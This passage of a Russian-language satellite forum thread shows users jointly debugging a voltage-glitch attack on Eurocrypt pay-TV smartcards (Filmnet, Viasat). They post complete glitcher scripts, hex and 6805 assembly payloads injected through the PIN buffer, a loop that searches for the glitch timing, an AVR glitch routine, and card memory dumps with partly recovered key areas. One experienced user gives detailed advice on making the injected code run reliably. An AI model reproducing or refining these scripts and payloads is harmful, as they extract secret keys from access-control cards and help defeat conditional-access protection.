закрыть X

### Опции скрытого текста

%field должно быть только числовым
%field необходимо
По меньшей мере, один параметр требуется

Следующие ошибки возникли при попытке отправки сообщения:

Скрыть по количеству сообщений
Требуется сообщений
Скрыть от гостей
Скрыть от всех групп, кроме выбранных
Группы
Глобальный модератор
Модератор раздела
Новичок
Начинаю писать
Постоялец
Знающий
Старожил
Модератор
ВИП
Ветеран
Неприкасаемый
Проходил мимо
Прохожий
Друзья
Новичок
Ветераны форума
Новичок
Скрыть по количеству Спасибо поставленных пользователю
Кол-во сказанных пользователю Спасибо
Скрыть пока не скажут Спасибо
« предыдущая тема следующая тема »
Страницы: « 1 ... 34 35 36 37 38 ... 44 » Вниз

# Иформация о Eurocrypt (помните такое?)

- 436 Ответов
- 32888 Просмотров

#### stefanvl

- Прохожий
- 35
- 32 раза

##### Иформация о Eurocrypt (помните такое?)

« Ответ #350: Четверг 20 Января 2022, 01:10:32 »
Цитата(Alexfa от Среда 19 Января 2022, 02:15:22)

> Если ответ 60 90 00 - значит ответ еще не готов . Карта " просит подождать".
> Надо увеличить время Rx.

Мне удалось прочитать одну из моих карточек Filmnet ATR ATR: 3F 67 2F 00 11 14 00 03 90 00 с кодом ниже. Я просто изменил 1100 19FF на 0000 - 0700, чтобы добраться до ключей. Но значения не всегда одинаковы, поэтому некоторые ключи неясны. Я также хочу попробовать другие вирусы, чтобы прочитать свой ATR: 3F 67 2F 00 11 14 00 03 68 90 00 и ATR: 3F 67 25 00 29 14 00 62 68 90 00 (у меня есть карты Viasat и Filmnet и некоторые другие)
Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For I=&h1100 To &h19FF
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FF 00 00 00 00 00 A6 01 1E 08 C6" & II & "CC 1B11") '<- Worm as PIN
Sc.Write("20 00 53 0A 81 00"):RX
B=Sc.GetByte(3)
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
Function RX
Sc.Delay(200)
x=Sc.BytesInBuffer
Sc.Read(x)
End Function
0000 : 01 0F 02 03 04 00 90 90 CF 07 0A 0B 0C 0D 0E 0F
0010 : 10 11 12 90 14 15 16 17 18 19 1A 90 1C 1D 1E 1F
0020 : 90 21 22 23 24 25 26 27 28 29 2A 2B 90 2D 2E 2F
0030 : 30 31 32 33 90 35 36 37 38 39 90 3B 90 90 3E 3F
0040 : 40 41 42 43 44 45 46 47 90 90 4A 4B 4C 4D 4E 4F
0050 : 50 90 52 90 54 55 56 90 58 90 5A 5B 5C 5D 5E 5F
0060 : 90 90 90 63 64 90 66 67 68 90 6A 6B 90 6D 6E 6F
0070 : 70 71 72 90 74 75 90 77 78 79 7A 90 7C 7D 7E 7F
0080 : 20 00 00 00 90 25 01 00 10 41 00 00 00 00 78 00
0090 : 90 01 0D A2 00 0E 3E 90 01 90 81 90 90 0F A2 FF
00A0 : F4 0F B3 FF 11 03 90 00 00 00 00 00 00 90 00 00
00B0 : 00 00 00 90 00 D7 00 90 00 00 00 90 00 90 00 00
00C0 : 00 00 00 00 00 90 00 00 FF 00 00 90 00 90 90 01
00D0 : 1E 08 C6 00 D4 CC 90 11 00 00 90 00 00 00 00 00
00E0 : 00 00 90 00 90 00 B3 00 00 90 00 90 90 00 00 00
00F0 : 00 80 08 90 00 00 1C D1 90 D1 90 90 1E 90 19 90
0100 : 33 00 00 00 60 FF 90 00 6A 53 65 A0 78 BB 90 90
0110 : FF FF 90 04 D6 90 41 01 FF 90 90 1A 0F EA 80 06
0120 : 7E FF 90 90 6C FF 2A 90 90 55 90 43 F8 A6 FF FF
0130 : 6E 90 0B F1 62 DF FF FF 4D 90 3B 4B 90 A2 FF 90
0140 : 90 90 90 22 A2 FF 90 FF 0C B6 90 AC AA BA AD 90
0150 : FF FF FF FF 90 EF FF D7 90 90 FD 90 90 EE 90 B9
0160 : B6 B3 B2 B1 BA AB FF FF 6C FF EA 90 90 38 EA 5D
0170 : 31 90 FF FF 6C FE DC 52 16 B8 90 B2 17 25 FF 90
0180 : 6E 90 0B 90 6C 90 ED 82 90 90 08 04 ED 0B FF 90
0190 : 6C FC 71 5B 83 34 CD 90 90 FA FF 90 4C FF FF FF
01A0 : FF FF FF FF FF FF FF FF 90 F0 FF FF 90 F3 90 FF
01B0 : 90 FF FF FF 90 FF FF FF FF 90 90 FF FF FF FF FF
01C0 : 00 90 90 90 90 00 00 90 90 00 00 00 00 00 00 00
01D0 : 90 90 00 90 90 00 90 90 00 90 90 90 00 90 00 00
01E0 : 00 00 00 00 90 00 00 00 00 00 00 00 00 00 90 00
01F0 : 90 90 00 00 00 00 00 00 00 00 00 00 00 00 00 90
0200 : 6E 90 D7 F1 62 90 FF 70 0D FF FE 0B 90 FF FF FF
0210 : 0C B9 B6 B3 B2 B1 BA AB FF FF FF FF 6C FF E6 19
0220 : 2B BB 0E 70 4D 4A 90 FF 6C FE 90 F2 47 90 50 73
0230 : CF FB FF FF 6C 90 90 C3 E6 39 4E 74 98 90 90 FF
0240 : 6C FC FC 90 EB 23 6D 90 7C 90 FF FF 6C 90 DE ED
0250 : CE CA 75 3C B0 90 FF FF 6C F6 90 DD BB AC 00 A7
0260 : AF B5 FF FF 75 E6 90 E6 B8 FA FC FF 00 00 00 00
0270 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0280 : 6E FF D7 90 90 DF FF 70 0D FF FE 22 C5 FF FF FF
0290 : 6C 90 BC CB BF 90 90 FF AA A2 FF FF 90 90 C2 90
02A0 : 12 69 90 B3 90 6E FF 90 6C FD 90 5D 60 90 D5 25
02B0 : A0 90 FF FF 6C FC EF 90 82 90 71 F7 90 9D FF 90
02C0 : 6C F7 66 90 FF A3 90 07 AF A5 FF FF 6C F6 AA 90
02D0 : EA 9A 0C 90 A9 90 FF FF 00 00 00 00 00 00 00 90
02E0 : 00 90 00 90 00 00 00 90 00 00 00 00 00 00 00 90
02F0 : 00 00 90 90 00 00 90 90 00 00 00 00 00 00 00 00
0300 : 6E 90 D7 D1 62 DF FF 90 90 FF 90 22 C5 FF FF FF
0310 : 6C FF 32 13 31 C3 F6 91 D8 9E FF FF 6C FE 07 90
0320 : 5B 8D A9 90 DC A2 FF 90 6C FD 90 90 17 95 76 81
0330 : 90 34 90 FF 90 FC 5B DB 41 95 90 5F 8F 67 FF 90
0340 : 6C F7 CC CC E5 E7 90 9E BA E0 90 FF 6C 90 5E FF
0350 : 90 DF 5B 90 39 DC 90 90 00 90 00 00 90 90 00 90
0360 : 90 90 00 00 00 90 00 90 00 00 00 90 90 00 00 90
0370 : 00 00 00 00 90 90 90 00 00 90 00 00 00 00 00 90
0380 : 6E FF D7 C1 90 DF FF 70 0D FF FE 22 C5 FF FF FF
0390 : 90 FF B0 FB 77 BF 79 90 8C 40 FF 90 6C 90 4A 70
03A0 : E9 A9 F9 EF B2 90 FF FF 6C FD 90 90 03 16 2A 90
03B0 : FD E6 90 FF 6C FC 90 C5 7E 1F 80 D7 FD DF FF FF
03C0 : 6C 90 88 77 66 E0 79 CA A0 EC FF FF 90 90 90 EE
03D0 : FF 90 90 07 90 90 FF FF 00 00 90 90 90 00 90 00
03E0 : 90 90 90 00 00 00 90 00 00 00 90 90 90 00 90 90
03F0 : 90 90 00 90 00 00 90 00 00 00 00 90 00 00 00 00
0400 : 90 FF D7 B1 90 DF FF 90 90 90 FF FC 90 90 90 FF
0410 : 90 FF 8E EF 90 0A 90 90 2B 76 FF 90 6C FE 90 58
0420 : 01 20 EE 33 85 62 FF 90 6C FD 90 DE 78 70 BD 90
0430 : 1E C1 FF FF 6C 90 48 4D 8E 30 CF ED 90 90 FF FF
0440 : 90 F7 90 EB EA 90 B0 75 3A 67 FF FF 6C 90 88 AA
0450 : EE 60 90 90 A5 63 FF FF 00 00 00 90 00 00 90 00
0460 : 90 00 00 00 00 00 00 00 00 90 00 90 00 90 00 00
0470 : 00 90 00 90 00 00 90 00 00 90 00 00 00 00 00 00
0480 : 90 00 90 00 00 00 90 00 00 90 00 00 90 00 90 90
0490 : 00 00 00 00 00 00 00 00 90 90 00 00 00 00 90 00
04A0 : 00 00 00 00 00 00 00 90 90 00 00 00 00 00 00 00
04B0 : 90 00 00 00 00 00 00 00 00 90 00 90 00 00 00 00
04C0 : 00 90 90 00 90 00 00 00 00 00 00 00 90 00 00 00
04D0 : 00 00 90 00 00 00 00 00 00 00 90 00 00 90 00 90
04E0 : 00 00 00 00 00 90 90 00 90 90 00 90 00 00 00 00
04F0 : 90 90 00 00 00 00 00 00 90 00 00
Чего я не понимаю, так это того, как реализовать разные вирусы. Например, как это вписывается в код:
5F clrx
C6 zz zz lda $zzzz
CC 1F F2 jmp $12F2 ;Вывод байта через цикл ATR
Вирус II /9 байт/ - для вычитывания первой страницы PROM :
1E 09 bset 7, $9
5F clrx
C6 zz zz lda $zzzz
CC 1F F2 jmp $12F2 ;Вывод байта через цикл ATR
Вирус III /9 байт/ - для вычитывания первой страницы ROM :
1E 08 bset 7, $8
C6 1z zz lda $1zzz
CD 1F F2 jsr $1DD5 ;Вывод байта через процедуру SEND
8E stop ; в непереключающейся части ROM
Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For I=&h1100 To &h19FF
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FF 00 00 00 00 00 A6 01 1E 08 C6 1zzz" & II & "CD 1F F2 8E") '
Sc.Write("20 00 53 0A 81 00"):RX
B=Sc.GetByte(3)
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
@Alexfa @Ethereal Если бы вы могли дать несколько советов или примеров сценариев, на которых можно учиться
Спасибо!
- Спасибо
Жалоба Записан

#### Ethereal

- ВИП
- Старожил
- 1.581
- 8.611 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #351: Четверг 20 Января 2022, 05:10:54 »
@Alexfa Прювет.
Цитата(Alexfa от Среда 19 Января 2022, 02:15:22)

> Если ответ 60 90 00 - значит ответ еще не готов . Карта " просит подождать".
> Надо увеличить время Rx.

Не, этот совет правильный для Феникса. А тут Кпайро-Таккер, а ему надо указывать каждый раз сколько конкретно байт принять. И если карта рыгнет дополнительным байтом 60 (подожди), то это как серпом по яйцам. Вдруг откуда ни возьмись выяснилось, что принимать надо больше байт, чем глитчеру было уже указано. Без некоторой доработки софта глитчера под данную ситуацию ее толком и не обработать.

Подумал(a) и добавил(a): Четверг 20 Января 2022, 05:20:52

Цитата(stefanvl от Четверг 20 Января 2022, 01:10:32)

> Мне удалось прочитать одну из моих карточек Filmnet ATR ATR: 3F 67 2F 00 11 14 00 03 90 00 с кодом ниже. Я просто изменил 1100 19FF на 0000 - 0700

У тебя дамп пересыпан числом 90. В качестве байта читается то его истинное значение, то 90.
Убери Sc.Verbose = False и покажи откуда эти 90 берутся. Фрагменты лога покажи где байт дампа ошибочно читается как 90. Надо глазами увидеть откуда берутся эти искажения.

Подумал(a) и добавил(a): Четверг 20 Января 2022, 05:27:06

Цитата(stefanvl от Четверг 20 Января 2022, 01:10:32)

> Sc.Write("FF 00 00 00 00 00 A6 01 1E 08 C6" & II & "CC 1B11") '<- Worm as PIN

A6 01 это lda #1
это осталось как рудимент от процесса правки скрипта. Зачем это воспроизводить ?
Sc.Write("FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6" & II & "CC 1B11")
Вот так лучше.
А еще лучше было бы (последний байт тела CA2401 может не попадать в ОЗУ, если глитч выбивает управление из функции приема, т.е. до того как этот байт будет положен в ОЗУ)
Sc.Write("FE FF 9D 9D 9D 9D 9D 1E 08 C6" & II & "CC 1B11 00")
но надо проверить.

Подумал(a) и добавил(a): Четверг 20 Января 2022, 05:29:01

Цитата(stefanvl от Четверг 20 Января 2022, 01:10:32)

> Function RX
> Sc.Delay(200)
> x=Sc.BytesInBuffer
> Sc.Read(x)
> End Function

Задержка 200 маловато. Не всегда будет достаточно.
По принципу каши маслом не испортишь
Function RX
Sc.Delay(350)
x=Sc.BytesInBuffer
Sc.Read(x)
End Function

Подумал(a) и добавил(a): Четверг 20 Января 2022, 05:30:20

Цитата(stefanvl от Четверг 20 Января 2022, 01:10:32)

> Чего я не понимаю, так это того, как реализовать разные вирусы.

Сначала сделай чтобы один вирус работал надежно. А потом уже будет речь про остальные.

Подумал(a) и добавил(a): Четверг 20 Января 2022, 05:34:14

Цитата(stefanvl от Четверг 20 Января 2022, 01:10:32)

> Мне удалось прочитать одну из моих карточек Filmnet ATR ATR: 3F 67 2F 00 11 14 00 03 90 00

Цитата(stefanvl от Четверг 20 Января 2022, 01:10:32)

> Sc.Write("FF 00 00 00 00 00 A6 01 1E 08 C6" & II & "CC 1B11") '<- Worm as PIN

Несоответствие ATR и адреса куда прыгаешь.
Адрес 1B11 это
Код: [Выделить]

1B10 : F6 CD 1D E1 3A 8A 3A 88 27 14 BE B5 5C 3D 8A 26

от карты с ATR 3F 67 2F 00 11 14 00 01 68 90 00
Отсюда наверно и эта пересыпка дампа 90-ками.
А в карте с ATR 3F 67 2F 00 11 14 00 03 68 90 00 соответствующее место
Код: [Выделить]

1AF0 : 77 A6 04 AE BE B7 8A BF B5 F6 CD 1D D5 3A 8A 3A
^^^^^^^^^^^^^^^^^^^^
1B00 : 88 27 14 BE B5 5C 3D 8A 26 ED 0D 8C 2D 1C 8C A6
^^^^^^^^^^^^^^^^^^^^^^^^^^

Сказали Спасибо: balton, Sergio, skad163, sankr, lift-man, stefanvl
Жалоба 178.19.253.189

#### Alexfa

- Проходил мимо
- 6
- 19 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #352: Четверг 20 Января 2022, 22:44:03 »
Привет Ethereal!
Еще вспомнил - про микросхемы в узле формирования глитча.Нужны высокоскоростные.Помню менял несколько пока не получил
хорошую форму глитча.
Сказали Спасибо: Ethereal, skad163, lift-man, stefanvl
Жалоба Записан

#### stefanvl

- Прохожий
- 35
- 32 раза

##### Иформация о Eurocrypt (помните такое?)

« Ответ #353: Четверг 20 Января 2022, 23:44:45 »
Спасибо за вашу помощь уже, надеюсь, с вашей помощью я могу получить где-нибудь @Ethereal @Alexfa
Я провел следующий тест с картой Filmnet с ATR: 3F 67 2F 00 11 14 00 01 68 90 00
С этими изменениями что-то пошло не так:
Код: [Выделить]

Sub Main()
Sc.Write("B0 FF")
For I=&h0100 To &h0500
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6" & II & "CC 1B11") '<- Worm as PIN
Sc.Write("20 00 53 0A 81 00"):RX
B=Sc.GetByte(3)
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
Function RX
Sc.Delay(350)
x=Sc.BytesInBuffer
Sc.Read(x)
End Function

Вот результат:
Код: [Выделить]

0100 : 33
TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6 01 01 CC 1B 11
TX Data : 20 00 53 0A 81 00
RX Data : 20 03 25 90 00 90
TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6 01 02 CC 1B 11
TX Data : 20 00 53 0A 81 00
RX Data : 20 03 25 00 CF 00
TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6 01 03 CC 1B 11
TX Data : 20 00 53 0A 81 00
RX Data : 20 03 25 00 CF 00
TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6 01 04 CC 1B 11
TX Data : 20 00 53 0A 81 00
RX Data : 20 03 25 60 CF 60
TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6 01 05 CC 1B 11
TX Data : 20 00 53 0A 81 00

Когда я пытаюсь это сделать, у меня тоже нет большого успеха:
Код: [Выделить]

Sub Main()
Sc.Write("B0 FF")
For I=&h0100 To &h0500
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FE FF 9D 9D 9D 9D 9D 1E 08 C6" & II & "CC 1B11 00") '<- Worm as PIN
Sc.Write("20 00 53 0A 81 00"):RX
B=Sc.GetByte(3)
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
Function RX
Sc.Delay(350)
x=Sc.BytesInBuffer
Sc.Read(x)
End Function

И это результат:
Код: [Выделить]

Executing Script: Script File:
TX Data : B0 FF
TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 9D 9D 1E 08 C6 01 00 CC 1B 11 00
TX Data : 20 00 53 0A 81 00
RX Data : 1F 01 25
Script Error on Line 15
Sc.GetByte: Requested Byte Exceeds Last Read Request

Кажется, это не работает, когда я удаляю Sc.Verbose=False, когда я добавляю это снова, я получаю что-то.
Этот тест с Sc.Verbose=False выдает ошибку:
Код: [Выделить]

Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For I=&h0100 To &h0500
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FE FF 9D 9D 9D 9D 9D 1E 08 C6" & II & "CC 1B11 00") '<- Worm as PIN
Sc.Write("20 00 53 0A 81 00"):RX
[color=red]B=Sc.GetByte(3)[/color]
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
Function RX
Sc.Delay(350)
x=Sc.BytesInBuffer
Sc.Read(x)

Вот результат:
Код: [Выделить]

Executing Script: Script File:
Script Error on Line 16
Sc.GetByte: Requested Byte Exceeds Last Read Request

Если я изменю это:
Код: [Выделить]

Sc.Write("FE FF 9D 9D 9D 9D 9D 1E 08 C6" & II & "CC 1B11 00")

К этому:
Код: [Выделить]

Sc.Write("FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6" & II & "CC 1B11")

Вот результат:
Код: [Выделить]

100 : 33 90 90 00 60 FF 00 00 90 53 65 90 78 BB E3 C7
0110 : FF FF F8 90 D6 D4 90 01 FF 90 FE 1A 90 EA 80 90
0120 : 7E FF FE 14 6C FF 90 90 DD 90 22 43 F8 90 FF FF
0130 : 6E 90 0B F1 90 90 FF FF 90 90 90 4B 22 A2 FF FF
0140 : 90 FB 4B 90 A2 FF FF FF 90 B6 90 AC AA 90 90 90
0150 : FF 90 FF 90 6B EF FF D7 FF EF 90 35 DF 90 90 90

Прерванный сценарий здесь. еще много 90
Я провел следующий тест с картой Filmnet с ATR: 3F 67 2F 00 11 14 00 03 68 90 00
Я понимаю это, и это больше, чем я когда-либо получал с этим ATR.
Код: [Выделить]

Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For I=&h0100 To &h0500
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6" & II & "CC 1AF0") '<- Worm as PIN
Sc.Write("20 00 53 0A 81 00"):RX
B=Sc.GetByte(3)
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
Function RX
Sc.Delay(350)
x=Sc.BytesInBuffer
Sc.Read(x)
End Function

Код: [Выделить]

0100 : 90 90 90 00 60 FF 00 90 6A 53 65 A0 78 90 E3 90
0110 : 90 FF 90 90 D6 D4 41 01 FF FF FE 1A 0F EA 80 06

Я прервал здесь...
Код: [Выделить]

; Ins09
; 17 + (glitch) 2 (glitch) + 2
Ins09_Glitch:
in r0, PORTD ;
mov r17, r0 ;
sbr r17, 0x04 ;
sbr r17, 0x08 ; 4 clocks
out PORTD, r17
nop
out PORTD, r0
rjmp InsLoop

Все тесты были выполнены с этим изменением
Спасибо!!

Подумал(a) и добавил(a): Пятница 21 Января 2022, 02:22:32

Будет ли это лучше, чем MIKOBU III M6.2? я думал его купить.
Unlooper Trunker
Это новое устройство является эволюцией старого Unlooper Wildthing/Kypro. То
реализована модификация, а эксклюзивный дизайн коробки делает этот продукт просто
уникальный.
https://satboy.com/product/unlooper-trunker/
- Спасибо
« Последнее редактирование: Пятница 21 Января 2022, 02:29:54 от stefanvl »
Жалоба Записан

#### Ethereal

- ВИП
- Старожил
- 1.581
- 8.611 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #354: Пятница 21 Января 2022, 03:58:42 »
Цитата(stefanvl от Четверг 20 Января 2022, 23:44:45)

> С этими изменениями что-то пошло не так:

Почему изменения во множественном числе ?
Ты что сделал сразу несколько изменений и надеялся, что заработает ?
Изменения всегда проделываются последовательными трансформациями. По одному.
Если какое-то изменение привело к тому, что не работает, исключаешь его
и пишешь об этом тут, обдумаем почему и пробуешь другие изменения
Да потому тебе готовый скрипт нельзя дать, что он наверняка не заработает.
Рабочий скрипт собирается по кирпичику.

Подумал(a) и добавил(a): Пятница 21 Января 2022, 04:12:30

Цитата(stefanvl от Четверг 20 Января 2022, 23:44:45)

> Я провел следующий тест с картой Filmnet с ATR: 3F 67 2F 00 11 14 00 01 68 90 00

Ну если карта другая из чего следует, что задержка перед глитчем будет та-же самая
Sc.Write("20 00 53 0A
Если карта другая, то задержку надо подобрать.

Подумал(a) и добавил(a): Пятница 21 Января 2022, 04:42:55

Поскольку нам уже известно, что у карты с ATR
3F 67 2F 00 11 14 00 01 68 90 00
адрес подпрограммы SEND равен 1DE1 используем его.
И вот так вот ищем точку глитча.
Вирус здесь должен бесконечно выдавать байт прочитанный с адреса 0x1635
первой страницы ROM , а там байт 0x55 , ну я его взял просто до красоты
Вирь тут
9D nop
9D nop
9D nop
1E 08 Label: bset 7, $8
C6 1635 lda $1635
CD 1DE1 jsr SEND
20 F6 bra Label
но в качестве критерия запуска используется тупое - если карта выдала
более чем 0x20 байт, то наверно и запуск. Цикл будет крутиться пока
такое не произойдет
Код: [Выделить]

'Ec-M 3F672F0011140001689000
Dim N 'Чтобы N была глобальной переменной
Sub Main()
Sc.Write("B0 FF")
For HI=0 To &hFF
For LO=0 To &hFF
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FE FF 9D 9D 9D 1E 08 C6 1635 CD 1DE1 20 F6 00") 'Worm as PIN
Sc.Write("20" & H(HI,2) & H(LO,2) & "0A BF 00"):RX
If N>&h20 Then Halt 'Точка глитча найдена, стоп
Next
Next
End Sub
Function RX
Sc.Delay(300)
N=Sc.BytesInBuffer
Sc.Read(N)
End Function
Function H(S, L)
H = Right(Hex(S), L)
H = Mid("0000", 1, L-Len(H)) + H
End Function

Вот примерно вот так надо искать точку глитча.
А как найдешь (ты ее увидишь в логе последней попытки на которой скрипт завершится)
в скрипте выше в качестве задержки втыкаешь найденную,
а цикл по HI и по LO пусть уже перебирает адреса, а не задержки.
Переделываешь слегка скриптец.

Подумал(a) и добавил(a): Пятница 21 Января 2022, 05:11:56

Цитата(stefanvl от Четверг 20 Января 2022, 23:44:45)

> RX Data : 1F 01 25
> Script Error on Line 15
> Sc.GetByte: Requested Byte Exceeds Last Read Request

Тут глитчер отправил компу 3 байта 1F 01 25
А вот эта команда в скрипте
B=Sc.GetByte(3)
должна запихать в переменную B четвертый, а его нет, вот скрипт и завершается с ошибкой.
А почему глитчер послал только три байта, а потому что от глитча карта повесилась.
А почему повесилась. А потому что Шурик тупо повторял что я сделал когда-то и
теперь ты повторяешь. Вот для этого виря
Sc.Write("FF 00 00 00 00 00 A6 01 1E 08 C6 1zzz" & II & "CD 1F F2 8E") '
был найден глитч, который закидывает управление строго на байт 1E
(видимо, я уже не помню, но похоже на то)
Потому-что вирь был написано без nop-ов и по другому бы просто не сработал
Короче, к кривому вирусу был найден кривой глитч
И когда я сдвинул вирь на байт влево (потому-что мы уже после выяснили, что
последний байт виря, который 11, может в ОЗУ не укладываться, надо-же найти
причину откуда у тебя дамп пересыпается 90-ками, может именно в том дело, что
происходит jmp не на адрес 1B11 а на адрес 1B00) управление стало влетать в
середину команды (на байт 08) и запускание виря глитчем перестало работать.
Короче, надо найти запускальный глитч на чистовую для хорошего виря, а
не водить хороводы вокруг ранних глупостей, которые когда-то как-то
у меня сработали, а теперь увековечиваются тупым повторением.

Подумал(a) и добавил(a): Пятница 21 Января 2022, 05:18:39

Цитата(stefanvl от Четверг 20 Января 2022, 23:44:45)

> К этому:
> Код: [Выделить]
> Sc.Write("FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6" & II & "CC 1B11")
> Вот результат:

Ну а если переделать к этому :
Sc.Write("FE FF CC 1B11 9D 9D 9D 1E 08 C6" & II & "20 F3 00")
так ведь должно сработать на карте с ATR 01.
Вопрос - 90-ки пересыпающие при этом пропадут или нет.
Сказали Спасибо: Sergio, skad163, lift-man
« Последнее редактирование: Пятница 21 Января 2022, 05:26:32 от Ethereal »
Жалоба 178.19.253.189

#### Ethereal

- ВИП
- Старожил
- 1.581
- 8.611 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #355: Пятница 21 Января 2022, 10:49:14 »
Цитата(stefanvl от Четверг 20 Января 2022, 23:44:45)

> Код: [Выделить]
> TX Data : 05 0E 03 01 8A 00
> RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
> TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
> TX Data : FE FF 9D 9D 9D 9D 9D 9D 1E 08 C6 01 01 CC 1B 11
> TX Data : 20 00 53 0A 81 00
> RX Data : 20 03 25 90 00
> ^^^^^

Вот пример когда у тебя в дампе появляется 90. Мы видим что карта
ответила квитанцией 25 , а потом выдала 90 00 (команда исполнена OK)
Выглядит так как будь-то глитч тупо не сработал.
Если у тебя глитч на Микобе вышел не стопудовый, а вероятностный, то
читать по одному байту дампа на запуск вируса уже неправильно.
Ты без изврата не определишь прилетело ли 90 потому что в дампе
действительно 90 или потому что глитч не сработал.
Надо читать пачками, например по 256 байт, тогда вылет такой пачки
будет признаком того, что глитч сработал.
Тогда чтение дампа будет таким алгоритмом - пытаться запустить вирус
пока не вылетит пачка, т.е. ситуацию "глитч не сработал" отсеивать по
длине ответа карты.
Но для того чтобы втиснуть цикл вычитывания пачки в вирь длиной 0x10
байт надо ТОЧНО УСТАНОВИТЬ экспериментами в какой именно байт вируса
влетает управление. Только зная это можно всунуть в скрипт жирненький
вирус.

Подумал(a) и добавил(a): Пятница 21 Января 2022, 11:28:42

Гы, передумал иметь синхронизатор FE FF . Правильнее будет FE FE
УЧЕНИЕ О СИНХРОНИЗАТОРЕ ВЫКАТА от Трохыма Денисовыча ЛысенкаЭтереалка
В дампе ОЗУ карты с ATR
ATR: 3F 67 2F 00 11 14 00 03 90 00
видим что вирь длиной 0x10 байт укладывается так
(из одного из старых дампов)
00C0 : 00 00 00 00 00 00 00 00 9D 9D 9D 9D C6 00 CE CD
00D0 : 1D D5 3C CE 26 F4 20 FE 00 00 1F 00 00 00 00 00
Перед вирем нули, а нули это трехбайтовые команды
00 00 00 brset 0, $0, на_следующую_команду
что по сути nop, только трехбайтовый
А значит если управление будет закинуто ДО вируса и
пошлепает по трехбайтовым nop-ам, оно может
выкатиться за два байта до вируса, за байт до
вируса и на первый байт вируса.
Сделаем вирь таким
FE FE собственно_код_виря
и рассмотрим все случаи
1.) Выкат за два байта до виря. Отработает
00 00 FE brset 0, $0, на_два_байта_назад
Если brset не сработает, то исполнится
FE ldx ,x
собственно_код_виря
Если brset сработает, то отпрыгнет на два байта
назад и задача сведется к выкату за байт до виря
2.) Выкат за байта до виря. Отработает
00 FE FE brset 0, $FE, на_два_байта_назад
Если brset не сработает, то исполнится
собственно_код_виря
Если brset сработает, то отпрыгнет на два байта
назад и задача сведется к выкату на первый байт виря
3.) Выкат на первый байт виря. Отработает
FE ldx ,x
FE ldx ,x
собственно_код_виря
Итого :
Если управление будет выкатываться на вирь слева, то во всех
случаях произодейт синхронизация с собственно_кодом_виря
